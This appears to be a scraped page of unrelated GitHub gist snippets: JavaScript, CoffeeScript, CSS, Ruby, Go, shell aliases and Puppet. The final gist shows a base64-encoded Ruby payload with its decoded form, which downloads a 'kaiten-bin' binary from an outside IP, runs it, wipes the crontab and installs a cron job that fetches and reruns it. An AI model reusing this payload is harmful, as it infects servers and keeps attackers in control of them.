This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(open) { | |
XMLHttpRequest.prototype.open = function(method, url, async, user, pass) { | |
// Do some magic | |
open.call(this, method, rewrittenUrl, async, user, pass); | |
}; | |
})(XMLHttpRequest.prototype.open); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Assignment: | |
number = 42 | |
opposite = true | |
# Conditions: | |
number = -42 if opposite | |
# Functions: | |
square = (x) -> x * x |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://stackoverflow.com/questions/68569/text-watermark-on-website-how-to-do-it | |
<style type="text/css"> | |
#watermark { | |
color: #d0d0d0; | |
font-size: 200pt; | |
-webkit-transform: rotate(-45deg); | |
-moz-transform: rotate(-45deg); | |
position: absolute; | |
width: 100%; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class RebootRequiredPlugin < Scout::Plugin | |
def build_report | |
reboot_required = system('file /var/run/reboot-required >/dev/null 2>&1') | |
report(:reboot_required => reboot_required ? 1 : 0) | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// package spooler implements a disk-persistent queue. | |
// | |
// Spooler uses MDB (LMDB) to implement a queue of byteslices. Its intended usecase | |
// is to enqueue work items received by a service before later working them off. | |
// Note that Spooler only flushes to disk up to once every 25ms. As a result, | |
// if the process or machine crashes unexpectedly, the most recent 25ms of work | |
// can be lost. This decision effectively increases throughput by 10,000%, | |
// but makes spooler unsuitable for jobs that absolutely cannot be allowed to fail | |
// under any circumstances. | |
package spooler |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%% name = Heroes | |
%% { | |
attr_accessor :result | |
def self.run(text) | |
parser = new(text) | |
return parser.result if parser.parse | |
raise ParseError, parser.failure_info | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alias master='git checkout master' | |
alias staging='git checkout staging' | |
alias release='git checkout release' | |
alias production='git checkout production' | |
alias rake='bundle exec rake' | |
alias rspec='bundle exec rspec' | |
alias cucumber='bundle exec cucumber' | |
eval "$(./sub/bin/ys init -)" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import "setup" | |
node server { | |
scout { "role1,role2": | |
gems => ["redis", "resque"] | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'new_relic/agent/instrumentation/sinatra' | |
module NewRelic | |
module Agent | |
module Instrumentation | |
module Sinatra | |
def ignore_apdex? | |
skip = self.response.status.to_i == 404 | |
if skip | |
env.delete('sinatra.error') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Wanted to eval this | |
%[c3lzdGVtKCJ3Z2V0IC1PIC92YXIvdG1wL2sgMTg4LjE5MC4xMjQuMTIwL2thaXRlbi1iaW4iKQpzeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL2siKQpzeXN0ZW0oIi92YXIvdG1wL2siKQpzeXN0ZW0oJ2Nyb250YWIgLXInKQpzeXN0ZW0oJyhjcm9udGFiIC1sIDsgZWNobyAiKiAxICogKiAqIHdnZXQgLU8gL3Zhci90bXAvayAxODguMTkwLjEyNC4xMjAva2FpdGVuLWJpbiAmJiBjaG1vZCAreCAvdmFyL3RtcC9rICYmIC92YXIvdG1wL2siKSB8IGNyb250YWIgLScp].unpack(%[m0])[0] | |
# Which would run this | |
system("wget -O /var/tmp/k 188.190.124.120/kaiten-bin") | |
system("chmod +x /var/tmp/k") | |
system("/var/tmp/k") | |
system('crontab -r') | |
system('(crontab -l ; echo \"* 1 * * * wget -O /var/tmp/k 188.190.124.120/kaiten-bin && chmod +x /var/tmp/k && /var/tmp/k\") | crontab -') |